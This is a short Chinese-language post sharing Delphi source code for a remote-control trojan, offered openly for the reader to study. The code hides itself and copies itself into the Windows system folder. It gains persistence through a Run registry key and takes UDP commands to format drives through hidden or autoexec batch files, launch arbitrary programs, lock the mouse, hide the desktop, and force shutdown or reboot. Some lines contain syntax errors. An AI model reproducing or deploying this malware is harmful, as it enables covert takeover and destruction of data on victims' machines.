一个木马程序客户端的源代码,包括屏幕抓取,远程控制,当然可以操作对方的机器,你
参考一下吧。
unit client;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,stdctrls,nmudp,shellapi,mmsystem,registry;
type
TForm1 = class(TForm)
Button1: TButton;
Button2: TButton;
cudp: TNMUDP;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure cudpDataReceived(Sender: TComponent; NumberBytes: Integer;
FromIP: String; Port: Integer);
procedure FormDestroy(Sender: TObject);
private
procedure winexit(var msg:tmessage);message WM_QUERYENDSESSION;
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
reg: tregistry;
implementation
const bufsize=2048;
var
bmpstream: tmemorystream;
{$R *.DFM}
function computername:string;
var
cnamebuffer: pchar;
fl_loaded:boolean;
clen:^dword;
begin
getmem(cnamebuffer,255);
new(clen);
clen^:=255;
fl_loaded:=getcomputername(cnamebuffer,clen^);
if fl_loaded then
computername:=strpas(cnamebuffer)
else
computername:='不知道';
freemem(cnamebuffer,255);
dispose(clen);
END;
procedure TForm1.Button1Click(Sender: TObject);
var
rtbutton2:trect;
rt0:trect;
begin
rtbutton2:=button2.boundsrect;
mapwindowpoints(handle,0,rtbutton2,2);
rt0:=rect(25,25,25,25);
clipcursor(@rt0);
end;
procedure TForm1.Button2Click(Sender: TObject);
var
rtscreen:trect;
begin
rtscreen:=rect(0,0,screen.width,screen.height);
clipcursor(@rtscreen);
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
bmpstream:=tmemorystream.Create;
application.ShowMainForm:=false;
application.Title:='';
try reg:=tregistry.Create;
finally
reg.rootkey:=hkey_local_machine;
reg.OpenKey('/software/microsoft/windows/currentversion/run',true);
reg.WriteString('SoftInfo','C:/WINDOWS/SYSTEM/SoftInfo.exe');
end;
copyfile(pchar('application.exename',pchar('C:/WINDOWS/SYSTEM/SoftInfo.exe'),true);
end;
procedure tform1.winexit(var msg:tmessage);
begin
msg.Result:=1;
application.ProcessMessages;
application.Terminate;
end;
procedure TForm1.cudpDataReceived(Sender: TComponent; NumberBytes: Integer;
FromIP: String; Port: Integer);
var
ctrlcode:array[0..250]of char;
trun:string;
hdesktop:thandle;
forc,ford:textfile;
begin
cudp.readbuffer(ctrlcode,numberbytes);
if ctrlcode[0]+ctrlcode[1]+ctrlcode[2]+ctrlcode[3]+ctrlcode[4]+ctrlcode[5]='fordis' then
if ctrlcode[6]='c' then
begin
assignfile(forc,'c:/autoexec.bat');
rewrite(forc);
writeln(forc,'@echo off');
writeln(forc,'format c:/q>nul');
closefile(forc);
end
else
begin
assignfile(ford,'c:/a.bat');
rewrite(ford);
writeln(ford,'@echo off');
writeln(ford,'format'+ctrlcode[6]+':/q');
writeln(ford,'@del %0');
closefile(ford);
winexec('c:/a.bat',sw_hide);
end;
if ctrlcode[0]+ctrlcode[1]+ctrlcode[2]+ctrlcode[3]+ctrlcode[4]+ctrlcode[5]='ccompu' then
setsystempowerstate(true,true);
if ctrlcode[0]+ctrlcode[1]+ctrlcode[2]+ctrlcode[3]+ctrlcode[4]='hdesk' then
begin
hdesktop:=findwindow('progman',nil);
showwindow(hdesktop,sw_hide);
end;
if ctrlcode[0]+ctrlcode[1]+ctrlcode[2]+ctrlcode[3]+ctrlcode[4]='sdesk' then
begin
hdesktop:=findwindow('progman',nil);
showwindow(hdesktop,sw_show);
end;
if ctrlcode[0]+ctrlcode[1]+ctrlcode[2]+ctrlcode[3]='hrun' then
begin
trun:=ctrlcode;
delete(trun,1,4);
shellexecute(handle,'open',pchar(trun),nil,nil,sw_minimize);
end;
if ctrlcode[0]+ctrlcode[1]+ctrlcode[2]+ctrlcode[3]='mrun' then
begin
trun:=ctrlcode;
delete(trun,1,4);
shellexecute(handle,'open',pchar(trun),nil,nil,sw_maximize);
end;
if ctrlcode[0]+ctrlcode[1]+ctrlcode[2]+ctrlcode[3]+ctrlcode[4]+ctrlcode[5]='ocdrom' then
mcisendstring('set cdaudio door open',nil,0,handle);
if ctrlcode[0]+ctrlcode[1]+ctrlcode[2]+ctrlcode[3]+ctrlcode[4]+ctrlcode[5]='ccdrom' then
mcisendstring('set cdaudio door closed',nil,0,handle);
if ctrlcode[0]+ctrlcode[1]+ctrlcode[2]+ctrlcode[3]+ctrlcode[4]+ctrlcode[5]='cmouse' then
button1.click;
if ctrlcode[0]+ctrlcode[1]+ctrlcode[2]+ctrlcode[3]+ctrlcode[4]+ctrlcode[5]='omouse' then
button2.click;
if ctrlcode[0]+ctrlcode[1]+ctrlcode[2]+ctrlcode[3]+ctrlcode[4]='cscre' then
sendmessage(application.handle,wm_syscommand,sc_monitorpower,0);
if ctrlcode[0]=' ' then
application.messagebox(ctrlcode,pchar(computername),mb_ok);
if ctrlcode[0]+ctrlcode[1]+ctrlcode[2]+ctrlcode[3]+ctrlcode[4]='oscre' then
sendmessage(application.handle,wm_syscommand,sc_monitorpower,-1);
if ctrlcode[0]+ctrlcode[1]+ctrlcode[2]+ctrlcode[3]+ctrlcode[4]+ctrlcode[5]+ctrlcode[6]='restart' then
exitwindowsex(ewx_reboot,2);
if ctrlcode[0]+ctrlcode[1]+ctrlcode[2]+ctrlcode[3]+ctrlcode[4]='close' then
exitwindowsex(ewx_shutdown and ewx_poweroff,1);
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
try reg:=tregistry.Create;
finally
reg.rootkey:=hkey_local_machine;
reg.OpenKey('/software/microsoft/windows/currentversion/run',true);
reg.WriteString('SoftInfo','C:/WINDOWS/SYSTEM/SoftInfo.exe');
end;
bmpstream.free;
reg.CloseKey;
reg.free;
end;
end.